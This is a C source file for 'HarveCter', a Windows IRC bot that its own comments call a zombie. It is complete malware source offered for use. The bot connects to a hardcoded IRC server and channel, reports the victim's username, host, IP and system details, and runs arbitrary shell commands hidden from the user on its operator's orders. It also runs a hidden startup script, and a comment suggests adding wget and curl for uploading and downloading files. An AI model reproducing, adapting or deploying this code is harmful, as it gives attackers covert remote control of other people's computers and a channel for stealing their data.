c/HarveCter/harvecter.c

   1 /*
   2 HarveCter IRCBot 1.0b
   3 This 31337 code by: Harvie 2oo7
   4 Windows IRC Bot/Zombie/Whatever you want...
   5
   6 INFO:
   7 Optimalized for Dev-Cpp
   8 Compile as window app to make a daemon
   9
  10 Warning:
  11 There is not so big security!!!
  12 If you want to keep your zombies,
  13 control them only by PM or at completely secure channel!!!
  14 All passwords, that are starting with your password will be accepted!!!
  15
  16 COMMANDS:
  17 Warning: all commands are case sensitive
  18
  19 !login [login]          //Bad login=logout
  20 !chanpass               //Set mode +k
  21
  22 PRIVILEGED COMMANDS:
  23 !SAY [msg]              //Say msg
  24 !CMD [shell command]    //Execute command @ zombie
  25 !raw [line to send]     //Sends raw line to server (you can OP yourself)
  26 !info                   //Info about zombie
  27 !time                   //Localtime @ zombie
  28 !show                   //Show console window
  29 !hide                   //Hide console window
  30 !restart                //Restart connection
  31 !respawn                //Restart whole zombie
  32
  33 Development comments:
  34 6 * 128 == 768 == Maximum lenght of IRC message (RFC)
  35 */
  36
  37 //Preproc:
  38 #include <stdio.h>
  39 #include <time.h>
  40 #include <stdlib.h>
  41 #include <winsock.h>
  42 #include <windows.h>
  43 #pragma comment(lib,"ws2_32.a");
  44
  45 //Sends IRC message "msg" to "channel" over socket "s".
  46 int irc_sendmsg(int s, char *channel, char *msg) {
  47     int len, err;
  48     char snd[1024];
  49     sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg);
  50     len = strlen(snd);
  51     err = send(s, snd, len, 0);
  52     printf("%s", snd); //Show
  53     return err;
  54     }
  55
  56 //MAIN_FUNCTION://////////////////////////////////////////////////////////
  57 int main(int argc, char *argv[]) {
  58
  59 //SETTINGS:///////////////////////////////////////////////////////////////
  60     char server[] = "irc.2600.net"; //IRC Server
  61     int port = 6667; //Port of IRC Server
  62     char channel[] = "#hv"; //IRC Channel
  63     char pass[] = "test"; //Bot Password
  64     char chanpass[] = "lol"; //Channel Password
  65     char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup
  66 //MISC:///////////////////////////////////////////////////////////////////
  67     char version[] = "1.0b"; //Bot version
  68     char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead
  69     char cmdfile[] = "zzzcommands.bat";
  70     //AllocConsole(); //Ukazat
  71     //FreeConsole(); //Schovat... ;)
  72     //freopen("log.txt", "ab", stdout); //Log all outputs to file
  73 //INITIALIZATIONS:////////////////////////////////////////////////////////
  74     srand(time(0));
  75     char lclhost[256], lclhostnm[256], hostmsg[1000];
  76     char *user, *processor, *root, *logonsrvr, *os, rnd[10];
  77     //Load enviroment variables
  78     user = getenv("USERNAME");
  79     processor = getenv("PROCESSOR_IDENTIFIER");
  80     root = getenv("SystemRoot");
  81     logonsrvr = getenv("LOGONSERVER");
  82     os = getenv("OS");
  83     //Generate nick from username and random number
  84     sprintf(rnd, "%i", rand());
  85     sprintf(nick, "H-%s-%s", user, rnd);
  86     //time
  87     struct tm *localtime(const time_t *tod);
  88     struct tm *p_st_cas;
  89     time_t cas;
  90     //cmd
  91     FILE *cmdf;
  92 //////////////////////////////////////////////////////////////////////////
  93 //CODE:///////////////////////////////////////////////////////////////////
  94 //////////////////////////////////////////////////////////////////////////
  95
  96     //Delete cmdfile (Hell knows it's useful...)
  97     cmdf = fopen(cmdfile, "w");
  98     fprintf(cmdf, "del %s\n", cmdfile);
  99     fclose(cmdf);
 100     WinExec(cmdfile,SW_HIDE);
 101
 102     //Print banner
 103     printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick);
 104     //Execute startup script
 105     WinExec(rcfile,SW_HIDE); //Run rcfile (hidden)
 106
 107     //Declarations for WSA
 108     int s;
 109     SOCKADDR_IN sck;
 110     HOSTENT *host, *localhost;
 111     WSADATA wsadata;
 112     WSAStartup(MAKEWORD(1,1),&wsadata);
 113
 114     //Set details for WSA
 115     while( (host=gethostbyname(server)) == NULL){ //Host
 116         printf("!Error server host not found\nwaiting 5s...\n");
 117         sleep(5000);
 118     }
 119     sck.sin_family = PF_INET;
 120     memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);
 121     sck.sin_port = htons(port); //Port
 122
 123     //Info at localhost
 124     while ((localhost=gethostbyname("")) == NULL) {
 125         printf("!Error local host not found\nwaiting 5s...\n");
 126         sleep(5000);
 127         }
 128         sprintf(lclhostnm, "%s", localhost->h_name);
 129         sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr)));
 130         sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor);
 131         printf("%s\n", hostmsg);
 132
 133     //Initialization of strings used for IRC communication, etc...
 134     int len, err; //Lenght, Error
 135     char snd[1024], msg[1000], rcv[1024], passin[1000], *sub;
 136
 137     //Infinite loop (bot can't stop)
 138     while(1) {
 139
 140     //Create socket
 141     s=socket(AF_INET, SOCK_STREAM, 0);
 142
 143     //Connect
 144     while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) {
 145         printf("!Error while connecting\nwaiting 5s...\n");
 146         sleep(5000);
 147         }
 148
 149     //IRC Server login
 150     sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick);
 151     len = strlen(snd);
 152     err = send(s, snd, len, 0);
 153
 154     //Join&Set channel password
 155     sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
 156     sleep(1000);
 157     err = send(s, snd, len, 0);
 158     //mode #chan +k heslo
 159     sleep(2000);
 160     sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
 161     sleep(1000);
 162     err = send(s, snd, len, 0);
 163
 164
 165     //Send greetings
 166     sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava
 167     err = irc_sendmsg(s, channel, msg);
 168     sprintf(msg, "!chanpass"); //Request channell operator to set channell password (mode +n+k)
 169     err = irc_sendmsg(s, channel, msg);
 170
 171     //Loop (while connection exists)
 172     err = 1;
 173     while( err && err != -1) {
 174
 175              //JOIN
 176              sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
 177
 178              //RECIEVE
 179              memset(rcv, '\0', 1024);
 180              sub = 0;
 181              err = recv(s, rcv, 1024, 0);
 182              printf("%s", rcv);
 183
 184              //PING-PONG (Respond to server pings only)
 185              if ( (sub = (strstr(rcv, "PING :"))) ) {
 186                 sub = sub+6;
 187                 sprintf(snd, "PONG :%s", sub);
 188                 len = strlen(snd);
 189                 err = send(s, snd, len, 0);
 190                 printf("%s", snd);
 191                 }
 192              sub = 0;
 193
 194              if ( (sub = (strstr(rcv, ":!chanpass"))) ) {
 195                 printf("!Setting chanpass\n");
 196                 sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass);
 197                 len = strlen(snd);
 198                 err = send(s, snd, len, 0);
 199              }
 200              sub = 0;
 201
 202              //LOGIN
 203              if ( (sub = (strstr(rcv, ":!login "))) ) {
 204                 sub = sub+8;
 205                 sprintf(passin, "%s", sub);
 206                 if ( strstr(passin, pass) ) {  //Use this condition to check login.
 207                    sprintf(msg, "Login succesful");
 208                    irc_sendmsg(s, channel, msg);
 209                    printf("\n!!!Login succesful\n");
 210                 } else {
 211                    sprintf(msg, "Loged out");
 212                    irc_sendmsg(s, channel, msg);
 213                    printf("!!!Loged out\n\n");
 214                 }
 215              }
 216              sub = 0;
 217
 218              //IF LOGED IN:
 219              if ( strstr(passin, pass) ) {
 220
 221                //SAY
 222                if ( (sub = (strstr(rcv, ":!SAY "))) ) {
 223                   sub = sub+6;
 224                   sprintf(msg, "MSG: %s", sub); //Zprava
 225                   err = irc_sendmsg(s, channel, msg);
 226                 }
 227                 sub = 0;
 228
 229                 //INFO (USER, DOMAIN, IP, ARCHITECTURE)
 230                 if ( (sub = (strstr(rcv, ":!info"))) ) {
 231                    err = irc_sendmsg(s, channel, hostmsg);
 232                 }
 233                 sub = 0;
 234
 235                 //TIME
 236                 if ( (sub = (strstr(rcv, ":!time"))) ) {
 237                        printf("Time\n");
 238                        //struct tm t;
 239
 240                        cas = time(NULL);
 241                    p_st_cas = localtime(&cas);
 242
 243                    strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas);
 244                    err = irc_sendmsg(s, channel, msg);
 245                 }
 246                 sub = 0;
 247
 248                 //SEND RAW
 249                if ( (sub = (strstr(rcv, ":!raw "))) ) {
 250                   sub = sub+6;
 251                   len = strlen(sub);
 252                   err = send(s, sub, len, 0);
 253                 }
 254                 sub = 0;
 255
 256                 //SHELL
 257                 //Hey! Don't forget to download wget&curl in bot directory!! ;D
 258                 //With wget and curl you will be able to download and upload files...
 259                 if ( (sub = (strstr(rcv, ":!CMD "))) ) {
 260                    sub = sub+6;
 261                    sprintf(snd, "%s", sub);
 262                    printf("!CMD %s", snd);
 263
 264                    sprintf(msg, "Executing: %s", sub);
 265                    irc_sendmsg(s, channel, msg);
 266                    printf("!!! %s", msg);
 267
 268                    FILE *cmdf = fopen(cmdfile, "w");
 269                    fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile);
 270                        fclose(cmdf);
 271
 272                    WinExec(cmdfile,SW_HIDE); //Hide console window
 273                    //system(cmdfile); //Show console window
 274                 }
 275                 sub = 0;
 276
 277                 //HIDE/SHOW
 278                 if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0;
 279                 if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0;
 280
 281                 //RESTART connection to server
 282                 if ( (sub = (strstr(rcv, ":!restart"))) ) {
 283                      sprintf(msg, "Please wait while restarting...");
 284                      err = irc_sendmsg(s, channel, msg);
 285                      closesocket(s);
 286                      sprintf(msg, "ERROR: Couldn't close socket :(");
 287                      err = irc_sendmsg(s, channel, msg);
 288                      printf("\nRESTARTING...\n\n");
 289                 }
 290                 sub = 0;
 291
 292                 //RESPAWN (restarts all)
 293                 if ( (sub = (strstr(rcv, ":!respawn"))) ) {
 294                      sprintf(msg, "Please wait while respawning...");
 295                      err = irc_sendmsg(s, channel, msg);
 296                      printf("\nRESPAWNING...\n\n");
 297                      closesocket(s);
 298                      execl(argv[0], NULL); //Exchange old process for new (argv[0])
 299                      sprintf(msg, "ERROR: Couldn't respawn :(");
 300                      err = irc_sendmsg(s, channel, msg);
 301                      printf("ERROR: Couldn't respawn :(\n");
 302                 }
 303                 sub = 0;
 304
 305              }//END LOCKED COMMANDS
 306     }//LoopEND
 307
 308     //Close
 309     closesocket(s);
 310     printf("!Error while sending\nwaiting 5s before reconnect...\n");
 311     sleep(5000);
 312     }//InfiniteLoopEND
 313
 314     //Zavrit
 315     closesocket(s);
 316     WSACleanup(); //Flush WSA
 317     return(0);
 318
 319 }